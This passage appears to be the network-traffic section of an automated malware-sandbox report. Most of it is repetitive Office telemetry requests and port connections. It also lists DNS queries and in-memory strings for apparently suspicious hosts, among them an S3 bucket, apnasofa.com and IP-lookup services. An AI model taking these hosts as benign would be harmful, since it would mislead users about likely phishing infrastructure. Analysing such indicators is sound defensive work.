Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: www.google.sn
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: i--iy.s3.us-east-1.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: apnasofa.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipwhois.app

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 02 Dec 2024 16:55:27 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_162.5.dr	String found in binary or memory: https://apnasofa.com/episode/index#

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
